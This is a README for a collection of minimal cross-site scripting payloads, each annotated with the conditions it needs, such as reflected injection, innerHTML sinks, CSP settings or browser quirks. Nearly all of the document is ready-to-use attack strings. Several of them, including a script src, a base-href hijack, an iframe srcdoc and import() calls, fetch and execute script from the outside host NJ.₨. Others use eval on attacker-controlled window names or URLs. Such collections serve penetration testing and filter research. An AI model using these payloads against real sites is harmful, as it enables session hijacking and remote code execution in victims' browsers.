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Tiny-XSS-Payloads

A collection of short XSS payloads that can be used in different contexts.

The DEMO available here: https://tinyxss.terjanq.me

Current Payloads

<!-- Requires a relative script inserted to the DOM after the sink, 
  e.g. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
<!-- Only works as reflected XSS -->
<svg/onload=eval(name)>
<!-- If you control the URL -->
<svg/onload=eval(`'`+URL)>
<!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name>
<!-- In chrome, also works inside innerHTML, even on elements not yet inserted into DOM -->
<svg><svg/onload=eval(name)>
<!-- If you control window's name, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<audio/src/onerror=eval(name)>
<!-- If you control the URL, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<img/src/onerror=eval(`'`+URL)>
<!-- Just a casual script -->
<script/src=//NJ.₨></script>
<!-- If you control the name of the window -->
<iframe/onload=src=top.name>
<!-- If you control the URL -->
<iframe/onload=eval(`'`+URL)>
<!-- If number of iframes on the page is constant -->
<iframe/onload=src=top[0].name+/\NJ.₨?/>
<!-- for Firefox only -->
<iframe/srcdoc="<svg><script/href=//NJ.₨ />">
<!-- If number of iframes on the page is random -->
<iframe/onload=src=contentWindow.name+/\NJ.₨?/>
<!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
<iframe/srcdoc="<script/src=//NJ.₨></script>">
<!-- If inline styles are allowed -->
<style/onload=eval(name)>
<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>
<!-- If inline styles are blocked -->
<style/onerror=eval(name)>
<!-- Uses external script as import, doesn't work in innerHTML -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>
<!-- Uses external script as import,  triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>
<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<iframe/onload=import(/\\NJ.₨/)>

Deprecated:

<!-- If you control the URL, Safari-only -->
<iframe/onload=write(URL)>
<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>